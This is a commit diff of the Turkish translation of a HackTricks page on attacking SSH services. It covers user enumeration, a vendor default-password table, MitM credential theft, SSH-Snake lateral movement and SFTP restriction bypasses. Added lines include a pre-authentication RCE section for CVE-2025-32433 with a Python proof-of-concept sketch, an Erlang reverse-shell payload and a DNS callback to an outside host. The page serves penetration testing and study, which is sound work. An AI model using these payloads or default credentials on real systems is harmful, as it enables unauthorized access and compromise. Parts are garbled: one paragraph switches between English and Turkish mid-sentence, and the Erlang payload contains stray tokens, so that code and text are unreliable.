mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md'] to tr
This commit is contained in:
parent
0279374239
commit
19fb7071c8
@ -42,10 +42,10 @@ ssh-audit, ssh sunucu ve istemci yapılandırma denetimi için bir araçtır.
|
|||||||
- SSH istemci yapılandırmasını analiz etme;
|
- SSH istemci yapılandırmasını analiz etme;
|
||||||
- afiş alma, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı tespit etme;
|
- afiş alma, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı tespit etme;
|
||||||
- anahtar değişimi, anahtar, şifreleme ve mesaj kimlik doğrulama kodu algoritmalarını toplama;
|
- anahtar değişimi, anahtar, şifreleme ve mesaj kimlik doğrulama kodu algoritmalarını toplama;
|
||||||
- algoritma bilgilerini çıktı olarak verme (mevcut olduğu tarih, kaldırılmış/devre dışı, güvensiz/zayıf/eski, vb.);
|
- algoritma bilgilerini çıktı olarak verme (mevcut olduğu tarihten itibaren, kaldırılmış/devre dışı, güvensiz/zayıf/eski, vb.);
|
||||||
- algoritma önerilerini çıktı olarak verme (tanınan yazılım sürümüne göre ekleme veya kaldırma);
|
- algoritma önerilerini çıktı olarak verme (tanınan yazılım sürümüne göre ekleme veya kaldırma);
|
||||||
- güvenlik bilgilerini çıktı olarak verme (ilgili sorunlar, atanan CVE listesi, vb.);
|
- güvenlik bilgilerini çıktı olarak verme (ilgili sorunlar, atanan CVE listesi, vb.);
|
||||||
- algoritma bilgisine dayalı SSH sürüm uyumluluğunu analiz etme;
|
- algoritma bilgilerine dayalı SSH sürüm uyumluluğunu analiz etme;
|
||||||
- OpenSSH, Dropbear SSH ve libssh'den tarihsel bilgiler;
|
- OpenSSH, Dropbear SSH ve libssh'den tarihsel bilgiler;
|
||||||
- Linux ve Windows'ta çalışır;
|
- Linux ve Windows'ta çalışır;
|
||||||
- bağımlılık yok
|
- bağımlılık yok
|
||||||
@ -95,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
|||||||
|
|
||||||
### Kullanıcı Adı Sayımı
|
### Kullanıcı Adı Sayımı
|
||||||
|
|
||||||
Bazı OpenSSH sürümlerinde, kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz:
|
OpenSSH'nin bazı sürümlerinde kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz:
|
||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_enumusers
|
msf> use scanner/ssh/ssh_enumusers
|
||||||
```
|
```
|
||||||
@ -103,13 +103,13 @@ msf> use scanner/ssh/ssh_enumusers
|
|||||||
|
|
||||||
Bazı yaygın ssh kimlik bilgileri [burada](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) ve [burada](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) ve aşağıda.
|
Bazı yaygın ssh kimlik bilgileri [burada](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) ve [burada](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) ve aşağıda.
|
||||||
|
|
||||||
### Özel Anahtar Kaba Kuvvet
|
### Özel Anahtar Brute Force
|
||||||
|
|
||||||
Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
|
Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
|
||||||
```
|
```
|
||||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||||
```
|
```
|
||||||
MSF yardımcı modülü için:
|
MSF yardımcı modülü:
|
||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||||
```
|
```
|
||||||
@ -123,9 +123,9 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
|||||||
|
|
||||||
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
|
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
|
||||||
|
|
||||||
Bazı sistemlerde kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalar vardır. Bu, önemli ölçüde azaltılmış bir anahtar alanına yol açabilir ve bu da brute force ile kırılabilir. Zayıf PRNG'den etkilenen Debian sistemlerinde önceden oluşturulmuş anahtar setleri burada mevcuttur: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, bruteforce ile kırılabilecek önemli ölçüde azaltılmış bir anahtar alanına yol açabilir. Zayıf PRNG'den etkilenen Debian sistemlerinde önceden oluşturulmuş anahtar setleri burada mevcuttur: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
|
||||||
Kurban makinesi için geçerli anahtarları aramak amacıyla buraya bakmalısınız.
|
Kurban makinesi için geçerli anahtarları aramak için buraya bakmalısınız.
|
||||||
|
|
||||||
### Kerberos
|
### Kerberos
|
||||||
|
|
||||||
@ -134,13 +134,13 @@ Daha fazla bilgi için `crackmapexec ssh --help` komutunu çalıştırın.
|
|||||||
|
|
||||||
## Varsayılan Kimlik Bilgileri
|
## Varsayılan Kimlik Bilgileri
|
||||||
|
|
||||||
| **Satıcı** | **Kullanıcı Adları** | **Şifreler** |
|
| **Satıcı** | **Kullanıcı Adları** | **Parolalar** |
|
||||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| APC | apc, device | apc |
|
| APC | apc, cihaz | apc |
|
||||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||||
| D-Link | admin, user | private, admin, user |
|
| D-Link | admin, kullanıcı | private, admin, user |
|
||||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||||
@ -153,28 +153,28 @@ Daha fazla bilgi için `crackmapexec ssh --help` komutunu çalıştırın.
|
|||||||
|
|
||||||
## SSH-MitM
|
## SSH-MitM
|
||||||
|
|
||||||
Eğer kurbanın SSH sunucusuna kullanıcı adı ve şifre ile bağlanacağı yerel ağdaysanız, bu kimlik bilgilerini çalmak için **MitM saldırısı gerçekleştirmeyi deneyebilirsiniz:**
|
Eğer kurbanın SSH sunucusuna kullanıcı adı ve şifre ile bağlanacağı yerel ağdaysanız, bu kimlik bilgilerini çalmak için **MitM saldırısı gerçekleştirmeyi** deneyebilirsiniz:
|
||||||
|
|
||||||
**Saldırı yolu:**
|
**Saldırı yolu:**
|
||||||
|
|
||||||
- **Trafik Yönlendirme:** Saldırgan, kurbanın trafiğini kendi makinesine **yönlendirir**, böylece SSH sunucusuna bağlantı girişimini **yakalar**.
|
- **Trafik Yönlendirme:** Saldırgan, kurbanın trafiğini kendi makinesine **yönlendirir**, böylece SSH sunucusuna bağlantı girişimini **yakalar**.
|
||||||
- **Yakalama ve Kaydetme:** Saldırganın makinesi, meşru SSH sunucusu gibi davranarak kullanıcının giriş bilgilerini **yakalar**.
|
- **Yakalama ve Kaydetme:** Saldırganın makinesi, meşru SSH sunucusu gibi davranarak kullanıcının giriş bilgilerini **yakalar**.
|
||||||
- **Komut Çalıştırma ve İletme:** Son olarak, saldırganın sunucusu **kullanıcının kimlik bilgilerini kaydeder**, komutları gerçek SSH sunucusuna **ilerletir**, bunları **çalıştırır** ve sonuçları kullanıcıya **gönderir**, süreci kesintisiz ve meşru gösterir.
|
- **Komut Yürütme ve İletme:** Son olarak, saldırganın sunucusu **kullanıcının kimlik bilgilerini kaydeder**, komutları gerçek SSH sunucusuna **ilerletir**, **yürütür** ve sonuçları kullanıcıya **gönderir**, süreci kesintisiz ve meşru gösterir.
|
||||||
|
|
||||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda tarif edilenleri tam olarak yapar.
|
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda tarif edilenleri tam olarak yapar.
|
||||||
|
|
||||||
Gerçek MitM'yi gerçekleştirmek için ARP spoofing, DNS spoofing veya [**Ağ Spoofing saldırıları**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) gibi teknikleri kullanabilirsiniz.
|
Gerçek MitM'yi gerçekleştirmek için ARP sahtekarlığı, DNS sahtekarlığı veya [**Ağ Sahtekarlığı saldırıları**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) gibi teknikleri kullanabilirsiniz.
|
||||||
|
|
||||||
## SSH-Snake
|
## SSH-Snake
|
||||||
|
|
||||||
Eğer keşfedilen SSH özel anahtarlarını kullanarak bir ağı geçmek istiyorsanız, her sistemdeki her özel anahtarı yeni ana bilgisayarlar için kullanarak, [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ihtiyacınız olan şeydir.
|
Ağda keşfedilen SSH özel anahtarlarını kullanarak sistemler arasında geçiş yapmak istiyorsanız, her sistemdeki her özel anahtarı yeni ana bilgisayarlar için kullanarak [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ihtiyacınız olan şeydir.
|
||||||
|
|
||||||
SSH-Snake aşağıdaki görevleri otomatik ve yinelemeli olarak gerçekleştirir:
|
SSH-Snake aşağıdaki görevleri otomatik ve yinelemeli olarak gerçekleştirir:
|
||||||
|
|
||||||
1. Mevcut sistemde herhangi bir SSH özel anahtarını bulun,
|
1. Mevcut sistemde herhangi bir SSH özel anahtarını bulun,
|
||||||
2. Mevcut sistemde özel anahtarların kabul edilebileceği herhangi bir ana bilgisayar veya hedef (kullanıcı@host) bulun,
|
2. Mevcut sistemde özel anahtarların kabul edilebileceği herhangi bir ana bilgisayar veya hedef (kullanıcı@ana bilgisayar) bulun,
|
||||||
3. Keşfedilen tüm özel anahtarları kullanarak tüm hedeflere SSH bağlantısı kurmayı deneyin,
|
3. Keşfedilen tüm özel anahtarları kullanarak tüm hedeflere SSH bağlantısı kurmayı deneyin,
|
||||||
4. Bir hedefe başarıyla bağlanılırsa, bağlı olunan sistemde #1 - #4 adımlarını tekrar edin.
|
4. Bir hedefe başarıyla bağlanılırsa, bağlı olunan sistemde adım #1 - #4'ü tekrar edin.
|
||||||
|
|
||||||
Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır.
|
Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır.
|
||||||
|
|
||||||
@ -182,12 +182,12 @@ Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır.
|
|||||||
|
|
||||||
### Root girişi
|
### Root girişi
|
||||||
|
|
||||||
SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi yaygındır, bu da önemli bir güvenlik riski oluşturur. **Root girişini devre dışı bırakmak**, sunucuyu güvence altına almanın kritik bir adımıdır. Bu değişikliği yaparak yetkisiz erişim ve brute force saldırılarını azaltabilirsiniz.
|
SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi yaygındır, bu da önemli bir güvenlik riski oluşturur. **Root girişini devre dışı bırakmak**, sunucuyu güvence altına almanın kritik bir adımıdır. Bu değişikliği yaparak, yetkisiz erişim ve brute force saldırılarını azaltabilirsiniz.
|
||||||
|
|
||||||
**OpenSSH'de Root Girişini Devre Dışı Bırakmak için:**
|
**OpenSSH'de Root Girişini Devre Dışı Bırakmak için:**
|
||||||
|
|
||||||
1. **SSH yapılandırma dosyasını düzenleyin:** `sudoedit /etc/ssh/sshd_config`
|
1. **SSH yapılandırma dosyasını düzenleyin:** `sudoedit /etc/ssh/sshd_config`
|
||||||
2. **Ayarı değiştirin:** `#PermitRootLogin yes` ifadesini **`PermitRootLogin no`** olarak değiştirin.
|
2. **Ayarı değiştirin:** `#PermitRootLogin yes` değerini **`PermitRootLogin no`** olarak değiştirin.
|
||||||
3. **Yapılandırmayı yeniden yükleyin:** `sudo systemctl daemon-reload`
|
3. **Yapılandırmayı yeniden yükleyin:** `sudo systemctl daemon-reload`
|
||||||
4. **Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın:** `sudo systemctl restart sshd`
|
4. **Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın:** `sudo systemctl restart sshd`
|
||||||
|
|
||||||
@ -197,7 +197,7 @@ SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi y
|
|||||||
|
|
||||||
### SFTP komut yürütme
|
### SFTP komut yürütme
|
||||||
|
|
||||||
SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmemesiyle ilgili yaygın bir gözden geçirme hatası vardır. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kısıtlama getirmelerine rağmen, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra bir komutun (örneğin `/bin/bash`) yürütülmesini talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır.
|
SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmemesiyle ilgili yaygın bir gözden kaçırma vardır. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra (örneğin `/bin/bash` gibi) bir komutun yürütülmesini talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütülmesine olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır.
|
||||||
|
|
||||||
[Buradan örnek](https://community.turgensec.com/ssh-hacking-guide/):
|
[Buradan örnek](https://community.turgensec.com/ssh-hacking-guide/):
|
||||||
```bash
|
```bash
|
||||||
@ -236,13 +236,13 @@ Bu yapılandırma yalnızca SFTP'ye izin verecek: başlangıç komutunu zorlayar
|
|||||||
|
|
||||||
### SFTP Tünelleme
|
### SFTP Tünelleme
|
||||||
|
|
||||||
Eğer bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleyebilirsiniz, örneğin yaygın port yönlendirmesini kullanarak:
|
Eğer bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleme yapabilirsiniz, örneğin yaygın port yönlendirmesini kullanarak:
|
||||||
```bash
|
```bash
|
||||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||||
```
|
```
|
||||||
### SFTP Symlink
|
### SFTP Symlink
|
||||||
|
|
||||||
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
|
The **sftp** have the command "**symlink**". Therefor, if you have **yazma hakları** in some folder, you can create **symlinks** of **diğer klasörler/dosyalar**. As you are probably **tuzağa düşmüş** inside a chroot this **özellikle faydalı olmayacak** for you, but, if you can **erişim** the created **symlink** from a **no-chroot** **servis** (for example, if you can access the symlink from the web), you could **web üzerinden symlinkli dosyaları açabilirsiniz**.
|
||||||
|
|
||||||
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
||||||
```bash
|
```bash
|
||||||
@ -252,7 +252,7 @@ Eğer "_froot_" dosyasına web üzerinden erişiminiz varsa, sistemin kök ("/")
|
|||||||
|
|
||||||
### Kimlik Doğrulama Yöntemleri
|
### Kimlik Doğrulama Yöntemleri
|
||||||
|
|
||||||
Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, openSSH yapılandırmasında `publickey`'nin etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'ün devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan, daha zayıf bir yöntemin etkinleştirildiğini görebilir:
|
Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, openSSH yapılandırmasında `publickey`'nin etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'un devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan, daha zayıf bir yöntemin etkin olduğunu görebilir:
|
||||||
```bash
|
```bash
|
||||||
ssh -v 192.168.1.94
|
ssh -v 192.168.1.94
|
||||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||||
@ -267,7 +267,7 @@ debug1: Next authentication method: password
|
|||||||
```
|
```
|
||||||
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen yöntemlerin yetkilendirildiğinden emin olmak için gereklidir. İstemcideki ayrıntılı mod, yapılandırmanın etkinliğini görmekte yardımcı olabilir.
|
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen yöntemlerin yetkilendirildiğinden emin olmak için gereklidir. İstemcideki ayrıntılı mod, yapılandırmanın etkinliğini görmekte yardımcı olabilir.
|
||||||
|
|
||||||
### Yapılandırma dosyaları
|
### Config dosyaları
|
||||||
```bash
|
```bash
|
||||||
ssh_config
|
ssh_config
|
||||||
sshd_config
|
sshd_config
|
||||||
@ -281,10 +281,68 @@ id_rsa
|
|||||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||||
|
|
||||||
|
## Kimlik Doğrulama Durum Makinesi Atlatma (Ön Kimlik Doğrulama RCE)
|
||||||
|
|
||||||
|
Birçok SSH sunucu uygulaması, bir istemcinin kimlik doğrulama tamamlanmadan önce *bağlantı-protokolü* mesajları göndermesine izin veren **kimlik doğrulama sonlu durum makinesi** içinde mantık hataları içerir. Sunucu, doğru durumda olduğunu doğrulamadığı için, bu mesajlar kullanıcının tamamen kimlik doğrulaması yapılmış gibi işlenir ve bu da **kimlik doğrulaması yapılmamış kod yürütme** veya oturum oluşturma ile sonuçlanır.
|
||||||
|
|
||||||
|
Protokol seviyesinde, _mesaj kodu_ **≥ 80** (0x50) olan herhangi bir SSH mesajı *bağlantı* katmanına (RFC 4254) aittir ve **yalnızca başarılı kimlik doğrulamasından sonra kabul edilmelidir** (RFC 4252). Sunucu, *SSH_AUTHENTICATION* durumundayken bu mesajlardan birini işlerse, saldırgan hemen bir kanal oluşturabilir ve komut yürütme, port yönlendirme gibi eylemler talep edebilir.
|
||||||
|
|
||||||
|
### Genel Sömürü Adımları
|
||||||
|
1. Hedefin SSH portuna (genellikle 22, ancak diğer hizmetler 2022, 830, 2222… üzerinde Erlang/OTP açabilir) bir TCP bağlantısı kurun.
|
||||||
|
2. Ham bir SSH paketi oluşturun:
|
||||||
|
* 4 bayt **paket_uzunluğu** (big-endian)
|
||||||
|
* 1 bayt **mesaj_kodu** ≥ 80 (örneğin, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||||
|
* Seçilen mesaj türü tarafından anlaşılacak yük
|
||||||
|
3. Paketi **herhangi bir kimlik doğrulama adımını tamamlamadan önce** gönderin.
|
||||||
|
4. Artık _ön kimlik doğrulama_ aşamasında açılan sunucu API'leri ile etkileşimde bulunun (komut yürütme, port yönlendirme, dosya sistemi erişimi, …).
|
||||||
|
|
||||||
|
Python kanıtı konsepti taslağı:
|
||||||
|
```python
|
||||||
|
import socket, struct
|
||||||
|
HOST, PORT = '10.10.10.10', 22
|
||||||
|
s = socket.create_connection((HOST, PORT))
|
||||||
|
# skip version exchange for brevity – send your own client banner then read server banner
|
||||||
|
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||||
|
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||||
|
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||||
|
s.sendall(pkt)
|
||||||
|
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||||
|
```
|
||||||
|
Pratikte, hedef uygulamaya göre anahtar değişimini gerçekleştirmeniz (veya atlamanız) gerekecek, ancak **hiçbir kimlik doğrulama** yapılmaz.
|
||||||
|
|
||||||
|
---
|
||||||
|
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||||
|
* **Etkilenen sürümler:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||||
|
* **Kök neden:** Erlang yerel SSH daemon'u, `ssh_connection:handle_msg/2` çağrılmadan önce mevcut durumu doğrulamaz. Bu nedenle, mesaj kodu 80-255 olan herhangi bir paket, oturum hala *userauth* durumundayken bağlantı işleyicisine ulaşır.
|
||||||
|
* **Etkisi:** kimlik doğrulaması yapılmamış **uzaktan kod yürütme** (daemon genellikle gömülü/OT cihazlarda **root** olarak çalışır).
|
||||||
|
|
||||||
|
Saldırgan kontrolündeki kanala bağlı bir ters shell başlatan örnek yük:
|
||||||
|
```erlang
|
||||||
|
% open a channel first … then:
|
||||||
|
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||||
|
```
|
||||||
|
Blind RCE / out-of-band tespiti DNS üzerinden gerçekleştirilebilir:
|
||||||
|
```erlang
|
||||||
|
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||||
|
```
|
||||||
|
Detection & Mitigation:
|
||||||
|
* SSH trafiğini denetleyin: **kimlik doğrulamasından önce gözlemlenen mesaj kodu ≥ 80 olan herhangi bir paketi düşürün**.
|
||||||
|
* Erlang/OTP'yi **27.3.3 / 26.2.5.11 / 25.3.2.20** veya daha yenisine yükseltin.
|
||||||
|
* Yönetim portlarının (22/2022/830/2222) maruziyetini kısıtlayın – özellikle OT ekipmanlarında.
|
||||||
|
|
||||||
|
---
|
||||||
|
### Diğer Etkilenen Uygulamalar
|
||||||
|
* **libssh** 0.6 – 0.8 (sunucu tarafı) – **CVE-2018-10933** – istemci tarafından gönderilen kimlik doğrulaması yapılmamış `SSH_MSG_USERAUTH_SUCCESS` mesajını kabul eder, bu da ters mantık hatasıdır.
|
||||||
|
|
||||||
|
Ortak ders, RFC tarafından belirlenen durum geçişlerinden herhangi bir sapmanın ölümcül olabileceğidir; SSH daemonlarını gözden geçirirken veya fuzzing yaparken *durum makinesi uygulamasına* özellikle dikkat edin.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- SSH'yi güçlendirmek için ilginç kılavuzlar bulabilirsiniz [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||||
|
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user